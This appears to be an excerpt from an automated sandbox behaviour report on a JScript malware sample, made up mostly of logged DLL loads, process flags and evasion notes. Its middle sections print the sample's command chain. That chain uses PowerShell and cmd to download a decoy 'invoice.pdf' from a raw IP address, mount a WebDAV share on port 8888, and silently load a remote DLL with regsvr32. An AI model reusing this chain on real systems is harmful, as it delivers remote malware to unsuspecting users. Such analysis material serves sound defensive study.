Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8042.js.csv");ITextStream.WriteLine(" entry:8970 f:wzubxv");ITextStream.WriteLine(" exec:2 f:wzubxv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6191			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3628			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6824	Thread sleep count: 6191 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2716	Thread sleep count: 3628 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4220	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7416	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1355775658.000001F9A487F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1355775658.000001F9A4818000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2537302943.0000029F65456000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1355775658.000001F9A487F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX/z
Source: svchost.exe, 0000000F.00000002.2535774743.0000029F5FE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpuEe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
